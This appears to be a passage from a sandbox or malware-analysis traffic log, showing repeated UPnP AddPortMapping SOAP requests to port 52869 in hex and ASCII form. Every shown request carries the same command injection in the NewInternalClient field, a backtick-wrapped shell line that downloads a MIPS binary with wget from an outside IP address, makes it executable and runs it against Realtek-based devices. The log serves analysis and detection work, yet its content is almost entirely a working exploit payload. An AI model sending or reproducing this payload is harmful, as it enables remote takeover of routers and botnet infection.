69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:35.225742102 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:07.224828959 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      43192.168.2.155791645.207.138.18052869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:03.100828886 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:04.730593920 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:06.650569916 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:10.654433966 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:18.330212116 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
